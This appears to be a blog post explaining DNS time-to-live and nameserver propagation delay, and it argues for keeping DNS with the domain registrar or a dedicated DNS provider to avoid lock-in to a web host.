There’s a lot of good reasons to manage your DNS yourself. For one thing, you have total control. If you want to do some tricky DNS stuff, or set up email to the domain with MX records, or things like that, then you can do so yourself. Just the ability to edit your own CNAMEs and TXT records easily is well worth it. Heck, maybe you want to get Jabber working on your domain. Who knows?

On the other hand, you have total control, and that includes total freedom to screw it up. And anyway, most web hosts have some kind of easy interface to let you add and remove specific entries yourself, so you still have some control over it.

But now we get back to the main problem, which I was talking about in that previous post. Vendor lock-in.

DNS Propagation Delay and TTL

Remember what I mentioned earlier, when your webhost said to “point your domain’s nameservers to X and Y”? That’s the root of the problem.

DNS lives and dies by a setting called “Time-To-Live” (TTL). The time-to-live is the caching factor I mentioned several times before. When a DNS server gets some new information and stores it in its memory, it also stores the TTL, which it also receives from the other server. The TTL is a time limit on how long it can cache that information. Most DNS servers obey this value extremely well. If the TTL says to cache it for 2 hours, then it caches it for 2 hours and not a second longer.

Well, that nameserver lookup from the .com servers has a TTL too, only it’s a very LONG one. See, those second-level servers are way overloaded. Think about it, every lookup of every .com domain name goes through one server (which is actually a whole bunch of computers geographically spread out too). There’s millions, probably billions, of these lookups a day. So they offload a lot of the information. Where to? Why into everybody else’s caches, of course. The nameserver results tend to have a very long TTL, on the order of a day to a week or so (mean time is about 48 hours). Even then, many DNS servers are configured, by default, to hold these results even longer. Sometimes weeks.

This is because while the IP address corresponding to a domain name might change a lot, the nameservers for one actually rarely change. You don’t switch hosts every week, for example. But your IP might change a lot, if you’re using dynamic addressing or something along those lines.

So what happens when I change that information? Well, basically, all the other servers on the internet that have my information cached will be wrong for some period of time. That period of time is call the propagation delay, because it takes that long for my change to propagate out to the rest of the world. Those caches have to expire and all the DNS systems out there then have to ask me for the new information, assuming somebody asks them for it.

So if I change my IP, it takes a couple of hours for it to get out there, because my TTL is 2 hours. The downside to this is that when your nameserver changes, it takes a friggin’ long time to take effect.

Solving the Problem

The solution is simple: Never change your nameservers.

By that, I mean to keep your nameserver in the same place for as long as you possibly can. And this means, if at all possible, don’t delegate your authority to your web host. Instead, a better option is delegate it to your domain name provider.

I use GoDaddy for my domain names. With purchase of domain, they offer free DNS. It’s not the best interface in the world (actually it’s downright clumsy), but it works well enough. I can point my A record (that’s an “address” record, which connects names to IP addresses) to anywhere I want with relative ease. I can set my own TTL on that lookup (currently it’s 2 hours). If I were to change web hosts, my outage time would be 2 hours instead of 2 days. Why? Because all I have to do is to point my domain name at my new host, after they told me what IP address to point it to. If I instead tried to change my nameservers to theirs, then my outage would be 2 days, at least, because it usually takes at least that long for a change to the .com servers to take effect everywhere. And in some parts of the internet, that outage would be a week, at least. Minimum.

There’s also other options for owning your DNS. ZoneEdit offers both free and paid services for DNS, allowing you to point your domain to them and then controlling it all you like. This allows you to take your domain with you from one registrar to another, without having to worry about your registrar not providing DNS anymore.

Or you can even run your own DNS. That’s a super advanced topic though. Even I wouldn’t attempt that without some serious resources.

Summing up

But the point is that you want your DNS to be somewhere that it’s never going to move. Or, at least, that it’s going to move so rarely that you never have to worry about it. If I changed web hosts, it’s complex, but a simple enough matter that I could do it myself. But seriously, when am I going to move my domain names between registrars? How often does that really happen? Most people pick their registrar and stick with them forever. Unless they seriously raised the rates or something, it’s unlikely I’d ever switch them off GoDaddy.

Also, you want your DNS somewhere that you have a reasonable assurance that nobody’s going to screw with it. You own your domain, but the DNS controls where your domain goes. He who controls the DNS controls the domain, and that’s what ownership is, really. Control. Owning your DNS is the ability to control your own domains. It takes some learning, but seriously, it’s way easier than you think. More interesting too.

Shortlink: